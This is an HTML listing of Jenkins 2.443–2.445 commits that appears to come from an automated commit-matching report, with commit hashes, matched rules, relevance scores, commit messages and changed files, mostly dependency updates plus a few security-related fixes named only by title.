    + + Tag: jenkins-2.445 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + f2b082e3f5e8b11ec2ba524d92f40b2ef808a33d +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8949
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump commons-codec:commons-codec from 1.16.0 to 1.16.1 (#8949) Bumps [commons-codec:commons-codec](https://github.com/apache/commons-codec) from 1.16.0 to 1.16.1. - [Changelog](https://github.com/apache/commons-codec/blob/master/RELEASE-NOTES.txt) - [Commits](https://github.com/apache/commons-codec/compare/rel/commons-codec-1.16.0...rel/commons-codec-1.16.1) --- updated-dependencies: - dependency-name: commons-codec:commons-codec dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + bom/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge pull request #8945 from NotMyFault/backporting-2.440.1... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.440.1 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + b9373bbcf23c2ca8e0984bc62800125558351934 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8945
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Merge pull request #8945 from NotMyFault/backporting-2.440.1 Backporting for 2.440.1
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-72637] Make Cloud permission scope inherit from Jenkins... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.445 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + e05ffb8a789a479b23b38ef407b35d508095222e +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8944
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-72637] Make Cloud permission scope inherit from Jenkins (#8944) [JENKINS-72637] Make Cloud permission scope inherit from Overall Co-authored-by: Daniel Beck <daniel-beck@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/slaves/Cloud.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency postcss to v8.4.34 (#8948) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.445 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 11472cd995f2bfd5893eba3edaf45bdc35231635 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8948
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency postcss to v8.4.34 (#8948) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependabot stable branch (#8946) Signed-off-by: Alexander... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.445 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + fc056066a0d5f9b3c4ee9d714b930eb313ab2e5d +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8946
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependabot stable branch (#8946) Signed-off-by: Alexander Brandes <mc.cache@web.de>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + .github/dependabot.yml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump slf4jVersion from 2.0.11 to 2.0.12 (#8939) Bumps `slf4jVersion`... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.445 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 9c52da9d7611b2ac9206d5689986445c71f1b5eb +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8939
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump slf4jVersion from 2.0.11 to 2.0.12 (#8939) Bumps `slf4jVersion` from 2.0.11 to 2.0.12. Updates `org.slf4j:jcl-over-slf4j` from 2.0.11 to 2.0.12 Updates `org.slf4j:log4j-over-slf4j` from 2.0.11 to 2.0.12 Updates `org.slf4j:slf4j-api` from 2.0.11 to 2.0.12 Updates `org.slf4j:slf4j-jdk14` from 2.0.11 to 2.0.12 --- updated-dependencies: - dependency-name: org.slf4j:jcl-over-slf4j dependency-type: direct:production update-type: version-update:semver-patch - dependency-name: org.slf4j:log4j-over-slf4j dependency-type: direct:production update-type: version-update:semver-patch - dependency-name: org.slf4j:slf4j-api dependency-type: direct:production update-type: version-update:semver-patch - dependency-name: org.slf4j:slf4j-jdk14 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + bom/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency prettier to v3.2.5 (#8940) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.445 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 1b0a4a80a3eea2bf5aa007388386a30625a0c06a +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8940
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency prettier to v3.2.5 (#8940) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Create new index page for heap dump creation (#8929) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.445 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + b8236f82901467023e1fd5ea646a93afc953b1ff +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8929
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Create new index page for heap dump creation (#8929) Co-authored-by: Daniel Beck <daniel-beck@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/util/RemotingDiagnostics.java + + core/src/main/resources/hudson/util/Messages.properties + + core/src/main/resources/hudson/util/RemotingDiagnostics/HeapDump/index.jelly + + core/src/main/resources/hudson/util/RemotingDiagnostics/HeapDump/index.properties + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency css-loader to v6.10.0 (#8931) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.444 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + c0f66f52b4161a4caba10a877336618a359b1ea6 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8931
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency css-loader to v6.10.0 (#8931) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump org.jenkins-ci.plugins:junit from 1256.v002534a_5f33e to... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.444 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + c7cfa30be868257fe250f6a2808a51fb35d81899 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8925
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump org.jenkins-ci.plugins:junit from 1256.v002534a_5f33e to 1259.v65ffcef24a_88 (#8925)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + test/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency stylelint to v16.2.1 (#8935) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.444 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 61d4d0ce51b5d87167350edab8ad45eed6f656af +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8935
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency stylelint to v16.2.1 (#8935) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency webpack to v5.90.1 (#8936) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.444 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 2eb549efe20905cbca547c33f97c75cd080de88d +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8936
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency webpack to v5.90.1 (#8936) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update Yarn to v4.1.0 (#8930) * Update Yarn to v4.1.0 * Update yarn... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.444 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 4183fdb47456481b1ff24b5cfc188b05d1ecfe3f +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8930
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update Yarn to v4.1.0 (#8930) * Update Yarn to v4.1.0 * Update yarn SHA256 Signed-off-by: Alexander Brandes <mc.cache@web.de> --------- Signed-off-by: Alexander Brandes <mc.cache@web.de> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: Alexander Brandes <mc.cache@web.de>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/pom.xml + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump release-drafter/release-drafter from 5 to 6 (#8927) Bumps... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.444 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + bd0743407b6220f50a988979b8682a2885f1fd85 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8927
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump release-drafter/release-drafter from 5 to 6 (#8927) Bumps [release-drafter/release-drafter](https://github.com/release-drafter/release-drafter) from 5 to 6. - [Release notes](https://github.com/release-drafter/release-drafter/releases) - [Commits](https://github.com/release-drafter/release-drafter/compare/v5...v6) --- updated-dependencies: - dependency-name: release-drafter/release-drafter dependency-type: direct:production update-type: version-update:semver-major ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + .github/workflows/changelog.yml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency postcss-loader to v8.1.0 (#8932) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.444 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + b5f3d7173ccef98e4b41c653dda145c49e75537e +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8932
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency postcss-loader to v8.1.0 (#8932) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency sass-loader to v14.1.0 (#8933) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.444 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 6cff8fe045a4b76d2d00f922123a44083ce0a466 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8933
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency sass-loader to v14.1.0 (#8933) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency lit to v3.1.2 (#8934) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.444 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 3e2f2c7307583c992f383e998cf7f0efaa84494d +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8934
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency lit to v3.1.2 (#8934) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/site/site.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-72636] Prevent authenticated access to Resource Root URL... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.444 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 3ad945f7f3ab32ffb561486a7e6e80b8d55fc22d +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8922
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-72636] Prevent authenticated access to Resource Root URL (#8922) Co-authored-by: Daniel Beck <daniel-beck@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/jenkins/security/ResourceDomainRootAction.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + `AbstractPasswordBasedSecurityRealm.authenticateByPassword` (#8921) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.444 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 81679b4598a3550d5e776ca070661efb8f2eb862 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8921
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      `AbstractPasswordBasedSecurityRealm.authenticateByPassword` (#8921)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/security/AbstractPasswordBasedSecurityRealm.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-72613] Introduced `ItemGroup.getItemName` (#8902) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.444 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 57419f43b9bb89d564cee4913dd4a3216ba1e360 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8902
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-72613] Introduced `ItemGroup.getItemName` (#8902)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/model/AbstractItem.java + + core/src/main/java/hudson/model/ItemGroup.java + + core/src/main/java/hudson/model/Items.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Fixing `NotSerializableException:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.444 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + ddf68d38749567b5c27fc308425f6ef49cb20f3d +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8918
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Fixing `NotSerializableException: org.acegisecurity.context.SecurityContext$1` (#8918)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/org/acegisecurity/context/SecurityContext.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Add marker class to submit buttons (#8920) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.444 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + c00a30da805e95e7fb69104af2ddaedb2a0fc74b +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8920
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Add marker class to submit buttons (#8920)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/resources/lib/form/submit.jelly + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency stylelint-checkstyle-reporter to v1 (#8919)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.444 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 4d5bb02c8fadae4a8bcf3510613d6716756d7e3e +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8919
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency stylelint-checkstyle-reporter to v1 (#8919) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump com.puppycrawl.tools:checkstyle from 10.12.7 to 10.13.0 (#8915)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.444 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 907394527c26926ba658d6353dcfaf409e10710b +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8915
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump com.puppycrawl.tools:checkstyle from 10.12.7 to 10.13.0 (#8915) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update babel monorepo to v7.23.9 (#8910) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.443 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + b62609806b4ca0a2e785af30187f928fcbb9b27d +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8910
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update babel monorepo to v7.23.9 (#8910) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump org.jenkins-ci.plugins:credentials from 1317.v0ce519a_92b_3e to... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.443 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 090ada7bfdb570cb54c6d56d397716e11162368a +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8904
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump org.jenkins-ci.plugins:credentials from 1317.v0ce519a_92b_3e to 1319.v7eb_51b_3a_c97b_ (#8904) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + test/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency webpack to v5.90.0 (#8906) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.443 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 419539c1fa889155cee4ea27a415bc101c64f6dc +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8906
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency webpack to v5.90.0 (#8906) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency node to v20.11.0 (#8899) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.443 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + c414546f8bf856056957ff4af3208a3993db492c +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8899
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency node to v20.11.0 (#8899) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump org.jenkins-ci.plugins:credentials from 1311.vcf0a_900b_37c2 to... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.443 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 8088f30d396318bf90ea30b2ec2e253dea98c25c +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8901
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump org.jenkins-ci.plugins:credentials from 1311.vcf0a_900b_37c2 to 1317.v0ce519a_92b_3e (#8901) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + test/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-66677] Localize "This folder is empty" text (#8890) *... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.443 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + ae9b71cfeca9023451abf0d24a2940be3560e88c +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8890
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-66677] Localize "This folder is empty" text (#8890) * [JENKINS-66677] Localize "This folder is empty" text * Apply code review suggestions Co-authored-by: Hervé Le Meur <91831478+lemeurherve@users.noreply.github.com> --------- Co-authored-by: Hervé Le Meur <91831478+lemeurherve@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/resources/hudson/model/AllView/noJob.groovy + + core/src/main/resources/hudson/model/AllView/noJob.properties + + core/src/main/resources/hudson/model/AllView/noJob_fr.properties + + core/src/main/resources/hudson/model/Job/configure_fr.properties + + core/src/main/resources/hudson/model/Messages_fr.properties + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Upgrade transitive frontend dependencies (#8896) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.443 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 68131ec1826a3289b00594b881527b005d774834 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8896
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Upgrade transitive frontend dependencies (#8896)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency stylelint-config-standard to v36 (#8805)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.443 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 3e83c64df4de7840cb7fbbac511af83e10cc5515 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8805
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency stylelint-config-standard to v36 (#8805) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/src/main/scss/abstracts/_theme.scss + + war/src/main/scss/base/_layout-commons.scss + + war/src/main/scss/components/_side-panel-tasks.scss + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
